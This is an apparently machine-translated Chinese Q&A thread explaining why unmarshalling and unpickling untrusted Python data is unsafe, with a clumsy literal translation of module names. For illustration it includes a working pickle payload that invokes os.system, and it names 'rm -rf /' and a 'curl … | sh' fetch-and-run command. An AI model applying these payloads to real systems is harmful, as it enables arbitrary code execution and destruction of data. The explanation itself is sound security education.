元帅反序列化 - 不安全

时间:2014-11-14 14:11:56

标签: python warnings marshalling

我在一个项目中工作,我使用cPickle来快速加载文件。几天前,我读到marshal可能比cPickle更快。它适用于我,但我很好奇,the documentation对此的警告是什么:

  

警告

     

marshal模块并非旨在防止错误或恶意构造的数据。切勿从不受信任或未经身份验证的来源解组数据。

如果我不小心,会发生什么?

1 个答案:

答案 0 :(得分:8)

元帅

没有已知的方式来利用marshal。实际上执行代码时 使用marshal.loads()不是我能做的事情,而是看着 marhal.c源代码,我没有看到明显的方法。

那为什么这个警告呢? The BDFL explains

  

顺便说一下,关于元帅的警告是合法的 - 解密编组数据的C代码   没有仔细分析缓冲区溢出等问题。记得   有人第一次通过恶意JPEG闯入系统?相同   可能发生在元帅身上。严重。

我建议你阅读剩下的讨论内容;一个错误显示在哪里 解组数据会导致Python出现段错误;自Python以来,这已得到修复 2.5(这个bug可能会被滥用来执行代码)。其他错误可能 但仍然存在!

此外,marshal文档提及:

  

这不是一般的“持久性”模块。 [..]编组模块存在   主要是支持读写Python的“伪编译”代码   .pyc文件的模块。

因此,它甚至不能以可靠的方式保存数据。

味酸

您可以使用pickle轻松执行任意代码。例如:

>>> import pickle
>>> pickle.loads(b"cos\nsystem\n(S'ls /'\ntR.")
bin   data  download  home  lib64       mnt  proc  run   srv  tmp     usr      var
boot  dev   etc       lib   lost+found  opt  root  sbin  sys  ubuntu  vagrant
0

这是一个无害的ls /,但也可能是一个不那么无害的rm -rf /,或者 curl http://example.com/hack.sh | sh

您可以使用pickletools模块查看其工作原理:

>>> import pickletools
>>> pickletools.dis(b"cos\nsystem\n(S'ls /'\ntR.")
    0: c    GLOBAL     'os system'
   11: (    MARK
   12: S        STRING     'ls /'
   20: t        TUPLE      (MARK at 11)
   21: R    REDUCE
   22: .    STOP

pickle.py对这些操作码的含义有一些评论:

GLOBAL         = b'c'   # push self.find_class(modname, name); 2 string args 
MARK           = b'('   # push special markobject on stack
STRING         = b'S'   # push string; NL-terminated string argument
TUPLE          = b't'   # build tuple from topmost stack items
REDUCE         = b'R'   # apply callable to argtuple, both on stack
STOP           = b'.'   # every pickle ends with STOP

大多数都是不言自明的;使用GLOBAL,您可以获得任何功能,并且 与REDUCE你称之为。

由于Python非常动态,你也可以使用它来修补程序 在运行时。例如,您可以使用更改check_password功能 将密码上传到服务器的地方。

那么安全吗?

XML,json,MessagePack,ini文件,或者其他东西。这取决于 在您的情况下哪种格式最好。

此代码是否“经过仔细分析,以防止缓冲区溢出等”?谁 知道。大多数代码都没有,C使得做错事情变得容易。 1 甚至是Python 代码可能容易受到攻击,因为may call functions implemented in C that are vulnerable

have been problems with Python's JSON module。但同时 时间,它在面向公众的应用程序中使用了很多,所以可能安全。它会 当然比marshal更安全,因为这只是为.pyc文件设计的 并明确附带“未经审核!”警告。

这当然不能保证。请记住YAML security hole a few years back that caused every Ruby on Rails application in the world to be vulnerable to arbitrary code execution。哎呀!这甚至不是一个微妙的缓冲区 溢出,但更明显的问题。

请注意,使用yamlload()方法,因为它有the same problems as Ruby's YAML。请改用safe_load()

结论

pickle模块中的警告是非常有必要的(它可能应该是 虽然更强,但marshal模块上方的警告似乎更多 “此代码的设计并未考虑到安全性” - 警告类型,但是 实际上利用它并不是那么容易,而是依赖于假设的存在 在未知的错误。不过,你可能最好不要使用其他东西。


1 确实应该有一个“仔细分析缓冲区溢出等等”对开源项目的信任印章。是的,您可以通过Veracode等方式支付大笔资金并分析您的代码,但这对于开源项目来说是不可行的。几年前以Core Infrastructure Initiative的形式在OpenSSL Heartbleed集群之后做了一些的努力,但其范围和预算相当有限(但它相当年轻,可能在几年内获得牵引力。)